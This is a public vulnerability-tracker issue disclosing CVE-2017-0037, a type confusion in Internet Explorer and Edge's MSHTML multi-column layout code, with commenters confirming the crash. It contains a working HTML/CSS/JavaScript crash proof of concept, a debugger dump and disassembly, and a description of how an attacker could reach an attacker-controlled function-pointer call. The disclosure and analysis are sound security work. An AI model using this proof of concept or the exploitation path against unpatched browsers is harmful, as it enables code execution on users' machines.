New issue
Advanced search Search tips
Starred by 12 users

Issue metadata

Status: Fixed
Closed: Mar 2017

Sign in to add a comment

Issue 1011: Microsoft Edge and IE: Type confusion in HandleColumnBreakOnColumnSpanningElement

Reported by, Nov 25 2016 Project Member

Issue description


<!-- saved from url=(0014)about:internet -->
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.

The PoC crashes in
when reading from address 0000007800000070

(5fc.8a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ffe`8f330a59 48833800        cmp     qword ptr [rax],0 ds:00000078`00000070=????????????????

With the following call stack:

Child-SP          RetAddr           Call Site
00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4
00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc
00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5
00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147
00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77
00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d
00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3
00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c
00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102
00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b
00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5
00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7
00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c
00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f
00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58
00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b
00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a
00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb
00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7
00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8
00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be
00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2
00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e
00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue
00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa
00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac
00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3
00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22
00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34

And the following register values:

rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050
rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0
rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8
 r8=0000007916490ec0  r9=000000710e75b980 r10=00000079164a8f30
r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8
r14=000000791648ec60 r15=0000007911ec9f50

Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.

Let's take a look at the code around the rip of the crash.

00007ffe`8f330a51 488bcd          mov     rcx,rbp
00007ffe`8f330a54 e8873c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800        cmp     qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd          mov     rcx,rbp
00007ffe`8f330a62 e8793c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30          mov     rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06          mov     rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000  mov     rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf          mov     rcx,rdi
00007ffe`8f330a77 ff155b95d700    call    qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce          mov     rcx,rsi
00007ffe`8f330a80 ffd7            call    rdi

On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).

On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.

However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.

Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Comment 1 by, Feb 23 2017

Project Member
Labels: -Restrict-View-Commit Deadline-Exceeded
Deadline exceeded -- automatically derestricting

Comment 2 by, Feb 23 2017

Project Member
Labels: CVE-2017-0037

Comment 3 Deleted

Comment 4 by, Feb 26 2017

Nice find. Two questions:

1) How difficult would it be to pass the CFG check?

2) If you were to patch this bug, what would you do? It looks like a type confusion bug so enforcing a type check of the object pointed to by rcx?


Comment 5 by, Feb 27 2017

Project Member
1) I will not make any further comments on exploitability, at least not until the bug is fixed. The report has too much info on that as it is (I really didn't expect this one to miss the deadline).

2) The first step would be to determine why the type confusion occurred in the first place. Adding a type check somewhere in the vulnerable function might be sufficient, but it also might be just fixing the symptom and not the root cause. My hypothesis, given that there are 2 types of columns in DOM: html table columns and CSS columns, is that IE/Edge gets confused between the two.

Comment 6 by, Feb 27 2017

I am unable to reproduce the issue in Edge (version 38.14393 and higher) but i get the crash in IE 11

Comment 7 Deleted

Comment 8 by, Feb 28 2017

Can confirm crash on IE update version 11.0.33 
Unable to exploit on Edge 38.14393.0.0 EdgeHTML 14.14393

When trying on edge, I get the attached error.
Screen Shot 2017-02-27 at 5.32.50 PM.png
35.0 KB View Download

Comment 9 by, Feb 28 2017

I cannot confirm this issue.
On Edge I get the same screen as '' (comment #8).
And using IE (Version 11.1000.15025.0) the browser only shows a notification about IE having restricted the ActiveX controls. 
The Browser however does not crash. It only crashes if the user activates those ActiveX-Controls.

Comment 10 by, Feb 28 2017

I'm not often one to test these things out however I thought it worth mentioning that I can confirm this issue on 
IE 11.0.9600.18537 Update version: 11.0.38

Comment 11 by, Feb 28 2017

I was not able to reproduce the issue on Edge but i am now : i had to deactivate the AdBlock extension

Comment 12 by, Feb 28 2017

what are the steps to reproduce this bug?

Comment 13 by, Feb 28 2017

Reproduced on on IE 11.0.15042.0 update version 11.0.39

Unable to reproduce on Edge 40.15042.0.0 EdgeHTML 15.15042

Comment 14 by, Feb 28 2017

What I don't understand is: Microsoft said Edge has been written new from the ground up. It only uses the old mshtml rendering engine when the html document runs in specific doc types. Since ur code doesn't specify a doctype does that mean it always falls back to the potentially less secure old code path? If so, Edge is not safer than the old IE as MS claims.

Comment 15 by, Feb 28 2017

what are the steps to repro?

Comment 16 by, Mar 1 2017

can reproduce the crash in IE 11(both W10 and W7) but not Edge 38.14393.0.0

Comment 17 by, Mar 1 2017

Reproduced in IE11 11.0.9600.18537, Update 11.0.38 on Window 7 32 bit.

Comment 18 by, Mar 15 2017

Project Member
Status: Fixed (was: New)
This is now fixed in (IE) and (Edge).

Also, since some of the commenters wrote they couldn't reproduce in Edge, note that I did confirm the issue affected Edge before reporting to MS (I wouldn't have claimed it does otherwise). The screenshot in Comment 8 shows exactly what the user sees when Edge content process crashes. The screenshot attached with this comment shows what happens with a debugger attached to the content process.
91.0 KB View Download

Comment 19 Deleted

Comment 20 by, Mar 20 2017

Yes it reproduces on EDGE, 1:1 as mentioned... 
I tested on Xbox One Console on current FW.

Comment 21 by, Mar 26 2017

I got bored and confirmed this still works on Edge on XBox One as mentioned above.

Comment 22 Deleted

Sign in to add a comment